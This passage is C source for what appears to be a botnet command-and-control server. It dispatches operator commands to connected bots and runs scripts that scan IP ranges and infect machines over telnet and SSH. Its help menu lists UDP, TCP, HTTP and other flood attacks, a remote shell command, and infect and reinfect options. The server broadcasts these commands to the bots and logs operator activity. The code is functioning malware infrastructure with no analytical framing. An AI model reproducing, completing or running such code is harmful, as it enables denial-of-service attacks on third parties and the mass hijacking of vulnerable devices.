605 | { | |
606 | system("python telnet.py filtered.txt"); | |
607 | continue; | |
608 | } | |
609 | if(strstr(buf, "REINFECT")) | |
610 | { | |
611 | system("python w.py filtered_ssh.txt"); | |
612 | continue; | |
613 | } | |
614 | if(strstr(buf, "FILTER")) | |
615 | { | |
616 | system("sort telnet.txt | uniq -u>>filtered_telnet.txt;sort infected.txt | uniq -u>>filtered_ssh.txt"); | |
617 | continue; | |
618 | } | |
619 | if(strstr(buf, "LOAD")) | |
620 | { | |
621 | system("python scan.py 376 LOAD 88 1"); | |
622 | continue; | |
623 | } | |
624 | if(strstr(buf, "SCAN1")) | |
625 | { | |
626 | system("python scan.py 376 B 119.92 lol"); | |
627 | continue; | |
628 | } | |
629 | if(strstr(buf, "SCAN2")) | |
630 | { | |
631 | system("python scan.py 376 B 119.93 lol"); | |
632 | continue; | |
633 | } | |
634 | if(strstr(buf, "SCAN3")) { | |
635 | system("python scan.py 376 B 125.25 1"); | |
636 | continue; | |
637 | } | |
638 | if(strstr(buf, "SCAN4")) | |
639 | { | |
640 | system("python scan.py 376 B 125.26 1"); | |
641 | continue; | |
642 | } | |
643 | if(strstr(buf, "SCAN5")) { | |
644 | system("python scan.py 376 B 125.27 1"); | |
645 | continue; | |
646 | } | |
647 | if(strstr(buf, "SCAN6")) { | |
648 | system("python scan.py 376 B 113.53 1"); | |
649 | continue; | |
650 | } | |
651 | if(strstr(buf, "SCAN7")) | |
652 | { | |
653 | system("python scan.py 376 B 180.180 1"); | |
654 | continue; | |
655 | } | |
656 | if(strstr(buf, "SCAN8")) | |
657 | { | |
658 | system("python scan.py 376 B 185.52 1"); | |
659 | continue; | |
660 | } | |
661 | if(strstr(buf, "SCAN9")) | |
662 | { | |
663 | system("python scan.py 376 B 122.52 1"); | |
664 | continue; | |
665 | } | |
666 | if(strstr(buf, "SCAN10")) | |
667 | { | |
668 | system("python scan.py 376 B 122.53 1"); | |
669 | continue; | |
670 | } | |
671 | if(strstr(buf, "SCAN11")) | |
672 | { | |
673 | system("python scan.py 376 B 101.102"); | |
674 | continue; | |
675 | } | |
676 | if(strstr(buf, "LUCKY")) | |
677 | { | |
678 | system("python scan.py 376 LUCKY 88 1"); | |
679 | continue; | |
680 | } | |
681 | if(strstr(buf, "LUCKY2")) | |
682 | { | |
683 | system("python scan.py 376 LUCKY2 88 1"); | |
684 | continue; | |
685 | } | |
686 | if(strstr(buf, "SCAN_OFF")) | |
687 | { | |
688 | system("killall -9 python"); | |
689 | continue; | |
690 | }/*OTHER COMMANDS*/ | |
691 | if(strstr(buf, "HELP")) | |
692 | { | |
693 | pthread_create(&title, NULL, &TitleWriter, sock); | |
694 | char helpline1 [80]; | |
695 | char helpline2 [80]; | |
696 | char helpline3 [80]; | |
697 | char helpline4 [80]; | |
698 | char helpline5 [80]; | |
699 | char helpline6 [80]; | |
700 | char helpline7 [80]; | |
701 | char helpline8 [80]; | |
702 | char helpline9 [80]; | |
703 | char helpline10 [80]; | |
704 | char helpline11 [80]; | |
705 | char helpline12 [80]; | |
706 | char helpline13 [80]; | |
707 | char helpline14 [80]; | |
708 | char helpline15 [80]; | |
709 | char helpline16 [80]; | |
710 | char helpline17 [80]; | |
711 | char helpline18 [80]; | |
712 | char helpline19 [80]; | |
713 | char helpline20 [80]; | |
714 | char helpline21 [80]; | |
715 | char helpline22 [80]; | |
716 | char helpline23 [80]; | |
717 | char helpline24 [80]; | |
718 | char helpline25 [80]; | |
719 | char helpline26 [80]; | |
720 | ||
721 | ||
722 | ||
723 | sprintf(helpline1, "\r\n[+] ATTACK COMMANDS [+]\r\n"); | |
724 | sprintf(helpline2, "[-] UDP - !* UDP IP Port Time 32 0 10\r\n"); | |
725 | sprintf(helpline3, "[-] TCP - !* TCP IP Port Time 32 all 0 10\r\n"); | |
726 | sprintf(helpline4, "[-] STD - !* STD IP Port Time\r\n"); | |
727 | sprintf(helpline5, "[-] JUNK - !* JUNK IP Port Time\r\n"); | |
728 | sprintf(helpline6, "[-] HOLD - !* HOLD IP Port Time\r\n"); | |
729 | sprintf(helpline7, "[-] HTTP - !* HTTP Url Time\r\n"); | |
730 | sprintf(helpline8, "[-] KILL - !* KILLATTK | KILL\r\n"); | |
731 | ||
732 | sprintf(helpline9, "[+] SCANNING COMMANDS [+]\r\n"); | |
733 | sprintf(helpline10, "[-] LOAD - LOAD\r\n"); | |
734 | sprintf(helpline11, "[-] SCAN - SCAN1 | SCAN2 | SCAN3 | SCAN4 | SCAN5\r\n"); | |
735 | sprintf(helpline12, "[-] SCAN - SCAN6 | SCAN7 | SCAN8 | SCAN9 | SCAN10\r\n"); | |
736 | sprintf(helpline13, "[-] LUCKY - LUCKY | LUCKY2\r\n"); | |
737 | sprintf(helpline14, "[-] STOP - SCAN_OFF\r\n"); | |
738 | ||
739 | sprintf(helpline15, "[+] GENERAL COMMANDS [+]\r\n"); | |
740 | sprintf(helpline16, "[-] SHELL - !* SH\r\n"); | |
741 | sprintf(helpline17, "[-] BOTS - !* BOTS | BOTS\r\n"); | |
742 | sprintf(helpline18, "[-] STATUS - !* STATUS | STATUS\r\n"); | |
743 | sprintf(helpline19, "[-] STATS - STATS\r\n"); | |
744 | ||
745 | sprintf(helpline20, "[+] MISC COMMANDS [+]\r\n"); | |
746 | sprintf(helpline21, "[-] ATTACK_GUI - ATTACK\r\n"); | |
747 | sprintf(helpline22, "[-] INECTION FILTER - FILTER\r\n"); | |
748 | sprintf(helpline23, "[-] TELNET INFECT - INFECT\r\n"); | |
749 | sprintf(helpline24, "[-] REINFECT BOTS - REINFECT\r\n"); | |
750 | sprintf(helpline25, "[-] CLEARSCREEN - CLEAR\r\n"); | |
751 | sprintf(helpline26, "[-] LOGOUT - LOGOUT\r\n"); | |
752 | ||
753 | ||
754 | ||
755 | if(send(datafd, helpline1, strlen(helpline1), MSG_NOSIGNAL) == -1) goto end; | |
756 | if(send(datafd, helpline2, strlen(helpline2), MSG_NOSIGNAL) == -1) goto end; | |
757 | if(send(datafd, helpline3, strlen(helpline3), MSG_NOSIGNAL) == -1) goto end; | |
758 | if(send(datafd, helpline4, strlen(helpline4), MSG_NOSIGNAL) == -1) goto end; | |
759 | if(send(datafd, helpline5, strlen(helpline5), MSG_NOSIGNAL) == -1) goto end; | |
760 | if(send(datafd, helpline6, strlen(helpline6), MSG_NOSIGNAL) == -1) goto end; | |
761 | if(send(datafd, helpline7, strlen(helpline7), MSG_NOSIGNAL) == -1) goto end; | |
762 | if(send(datafd, helpline8, strlen(helpline8), MSG_NOSIGNAL) == -1) goto end; | |
763 | if(send(datafd, helpline9, strlen(helpline9), MSG_NOSIGNAL) == -1) goto end; | |
764 | if(send(datafd, helpline10, strlen(helpline10), MSG_NOSIGNAL) == -1) goto end; | |
765 | if(send(datafd, helpline11, strlen(helpline11), MSG_NOSIGNAL) == -1) goto end; | |
766 | if(send(datafd, helpline12, strlen(helpline12), MSG_NOSIGNAL) == -1) goto end; | |
767 | if(send(datafd, helpline13, strlen(helpline13), MSG_NOSIGNAL) == -1) goto end; | |
768 | if(send(datafd, helpline14, strlen(helpline14), MSG_NOSIGNAL) == -1) goto end; | |
769 | if(send(datafd, helpline15, strlen(helpline15), MSG_NOSIGNAL) == -1) goto end; | |
770 | if(send(datafd, helpline16, strlen(helpline16), MSG_NOSIGNAL) == -1) goto end; | |
771 | if(send(datafd, helpline17, strlen(helpline17), MSG_NOSIGNAL) == -1) goto end; | |
772 | if(send(datafd, helpline18, strlen(helpline18), MSG_NOSIGNAL) == -1) goto end; | |
773 | if(send(datafd, helpline19, strlen(helpline19), MSG_NOSIGNAL) == -1) goto end; | |
774 | if(send(datafd, helpline20, strlen(helpline20), MSG_NOSIGNAL) == -1) goto end; | |
775 | if(send(datafd, helpline21, strlen(helpline21), MSG_NOSIGNAL) == -1) goto end; | |
776 | if(send(datafd, helpline22, strlen(helpline22), MSG_NOSIGNAL) == -1) goto end; | |
777 | if(send(datafd, helpline23, strlen(helpline23), MSG_NOSIGNAL) == -1) goto end; | |
778 | if(send(datafd, helpline24, strlen(helpline24), MSG_NOSIGNAL) == -1) goto end; | |
779 | if(send(datafd, helpline25, strlen(helpline25), MSG_NOSIGNAL) == -1) goto end; | |
780 | if(send(datafd, helpline26, strlen(helpline26), MSG_NOSIGNAL) == -1) goto end; | |
781 | pthread_create(&title, NULL, &TitleWriter, sock); | |
782 | continue; | |
783 | } | |
784 | if(strstr(buf, "KILL")) | |
785 | { | |
786 | char killattack [2048]; | |
787 | memset(killattack, 0, 2048); | |
788 | char killattack_msg [2048]; | |
789 | ||
790 | sprintf(killattack, "!* KILLATTK\r\n"); | |
791 | broadcast(killattack, datafd, "!* KILLATTK"); | |
792 | ||
793 | sprintf(killattack_msg, "Attack Killed!\r\n"); | |
794 | if(send(datafd, killattack_msg, strlen(killattack_msg), MSG_NOSIGNAL) == -1) goto end; | |
795 | continue; | |
796 | } | |
797 | if(strstr(buf, "CLEAR")) | |
798 | { | |
799 | char clearscreen [2048]; | |
800 | memset(clearscreen, 0, 2048); | |
801 | sprintf(clearscreen, "\033[2J\033[1;1H"); | |
802 | if(send(datafd, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end; | |
803 | if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end; | |
804 | if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end; | |
805 | if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end; | |
806 | if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end; | |
807 | if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end; | |
808 | if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end; | |
809 | if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end; | |
810 | if(send(datafd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end; | |
811 | if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end; | |
812 | if(send(datafd, ascii_banner_line10, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end; | |
813 | if(send(datafd, ascii_banner_line11, strlen(ascii_banner_line11), MSG_NOSIGNAL) == -1) goto end; | |
814 | if(send(datafd, ascii_banner_line12, strlen(ascii_banner_line12), MSG_NOSIGNAL) == -1) goto end; | |
815 | if(send(datafd, ascii_banner_line13, strlen(ascii_banner_line13), MSG_NOSIGNAL) == -1) goto end; | |
816 | if(send(datafd, ascii_banner_line14, strlen(ascii_banner_line14), MSG_NOSIGNAL) == -1) goto end; | |
817 | if(send(datafd, welcome_line, strlen(welcome_line), MSG_NOSIGNAL) == -1) goto end; | |
818 | while(1) { | |
819 | if(send(datafd, banner_bot_count, strlen(banner_bot_count), MSG_NOSIGNAL) == -1) goto end; | |
820 | if(send(datafd, "\x1b[32m> \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end; | |
821 | break; | |
822 | } | |
823 | continue; | |
824 | } | |
825 | if(strstr(buf, "LOGOUT")) | |
826 | { | |
827 | char logoutmessage [2048]; | |
828 | memset(logoutmessage, 0, 2048); | |
829 | sprintf(logoutmessage, "Bye, %s", accounts[find_line].username); | |
830 | if(send(datafd, logoutmessage, strlen(logoutmessage), MSG_NOSIGNAL) == -1)goto end; | |
831 | sleep(5); | |
832 | goto end; | |
833 | } | |
834 | trim(buf); | |
835 | if(send(datafd, "\x1b[31m> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end; | |
836 | if(strlen(buf) == 0) continue; | |
837 | printf("%s: \"%s\"\n",accounts[find_line].username, buf); | |
838 | ||
839 | FILE *LogFile; | |
840 | LogFile = fopen("server_log.txt", "a"); | |
841 | time_t now; | |
842 | struct tm *gmt; | |
843 | char formatted_gmt [50]; | |
844 | char lcltime[50]; | |
845 | now = time(NULL); | |
846 | gmt = gmtime(&now); | |
847 | strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt ); | |
848 | fprintf(LogFile, "[%s] %s: %s\n", formatted_gmt, accounts[find_line].username, buf); | |
849 | fclose(LogFile); | |
850 | broadcast(buf, datafd, accounts[find_line].username); | |
851 | memset(buf, 0, 2048); | |
852 | } | |
853 | end: | |
854 | managements[datafd].connected = 0; | |
855 | close(datafd); | |
856 | OperatorsConnected--; | |
857 | } | |
858 | void *BotListener(int port) { | |
859 | int sockfd, newsockfd; | |
860 | socklen_t clilen; | |
861 | struct sockaddr_in serv_addr, cli_addr; | |
862 | sockfd = socket(AF_INET, SOCK_STREAM, 0); | |
863 | if (sockfd < 0) perror("ERROR opening socket"); | |
864 | bzero((char *) &serv_addr, sizeof(serv_addr)); | |
865 | serv_addr.sin_family = AF_INET; | |
866 | serv_addr.sin_addr.s_addr = INADDR_ANY; | |
867 | serv_addr.sin_port = htons(port); | |
868 | if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding"); | |
869 | listen(sockfd,5); | |
870 | clilen = sizeof(cli_addr); | |
871 | while(1) { | |
872 | newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen); | |
873 | if (newsockfd < 0) perror("ERROR on accept"); | |
874 | pthread_t thread; | |
875 | pthread_create( &thread, NULL, &BotWorker, (void *)newsockfd); | |
876 | }} | |
877 | int main (int argc, char *argv[], void *sock)//~B1NARY~ | |
878 | { | |
879 | signal(SIGPIPE, SIG_IGN); | |
880 | int s, threads, port; | |
881 | struct epoll_event event; | |
882 | if (argc != 4) { | |
883 | fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]); | |
884 | exit (EXIT_FAILURE); | |
885 | } | |
886 | port = atoi(argv[3]); | |
887 | telFD = fopen("telnet.txt", "a+"); | |
888 | threads = atoi(argv[2]); | |
889 | listenFD = create_and_bind (argv[1]); | |
890 | if (listenFD == -1) abort (); | |
891 | s = make_socket_non_blocking (listenFD); | |
892 | if (s == -1) abort (); | |
893 | s = listen (listenFD, SOMAXCONN); | |
894 | if (s == -1) { | |
895 | perror ("listen"); | |
896 | abort (); | |
897 | } | |
898 | epollFD = epoll_create1 (0); | |
899 | if (epollFD == -1) { | |
900 | perror ("epoll_create"); | |
901 | abort (); | |
902 | } | |
903 | event.data.fd = listenFD; | |
904 | event.events = EPOLLIN | EPOLLET; | |
905 | s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event); | |
906 | if (s == -1) { | |
907 | perror ("epoll_ctl"); | |
908 | abort (); | |
909 | } | |
910 | pthread_t thread[threads + 2]; | |
911 | while(threads--) { | |
912 | pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL); | |
913 | } | |
914 | pthread_create(&thread[0], NULL, &BotListener, port); | |
915 | while(1) { | |
916 | broadcast("PING", -1, "LEL"); | |
917 | sleep(60); | |
918 | } | |
919 | close (listenFD); | |
920 | return EXIT_SUCCESS; | |
921 | } |